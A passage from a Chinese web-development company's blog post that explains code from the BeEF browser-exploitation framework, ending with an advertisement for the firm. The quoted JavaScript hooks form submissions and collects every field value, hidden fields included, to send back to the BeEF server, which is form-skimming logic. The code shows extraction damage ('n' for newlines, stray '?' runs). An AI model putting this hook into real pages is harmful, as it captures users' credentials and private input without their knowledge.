? ? ? ?function(e) { beef.logger.submit(e); }
? ? ? ?});
? ? ? ?beef.logger.submit()函數通過遍歷表單,取出所有輸入框的值(包括隱藏元素),然后把它們發送回BeEF服務器:
? ? ? ?/*** 只要有表單提交,就將激發submit函數*/
? ? ? ?submit: function(e) {
? ? ? ?try {
? ? ? ?var f = new beef.logger.e();
? ? ? ?var values = "";
? ? ? ?f.type = 'submit';
? ? ? ?f.target = beef.logger.get_dom_identifier(e.target);
? ? ? ?for (var i = 0; i < e.target.elements.length; i++) {
? ? ? ?values += "["+i+"]";
? ? ? ?values +=e.target.elements[i].name;
? ? ? ?values +="="+e.target.elements[i].value+"n";
? ? ? ?}
? ? ? ?f.data = 'Action: '+$j(e.target).attr('action');
? ? ? ?f.data += ' - Method: '+$j(e.target).attr('method');
? ? ? ?f.data += ' - Values:n'+values;
? ? ? ?this.events.push(f);
? ? ? ?} catch(e) {}
? ? ? ?}
? ? ? ?beef.logger.e定義了一種簡單的事件結構,它可以兼容各種事件類型,比如鼠標事件、鍵盤事件等,便于將各種事件以統一的形式傳回BeEF服務器。函數中的for循環用于遍歷表單中所有的子元素。有一點需要注意,這段代碼并未考慮表單字段中存在disabled屬性的情形。
? ? ? ?以上就是南昌網絡公司-百恒網絡小編為大家介紹的關于jQuery中使用表單事件的應用方法,如還有哪些不明白的地方,可隨時來電咨詢,我們將竭誠為您服務。此外,如有需要南昌網站建設、微信開發、手機APP開發等方面的服務,歡迎大家和我們聯系,百恒網絡隨時為您效勞!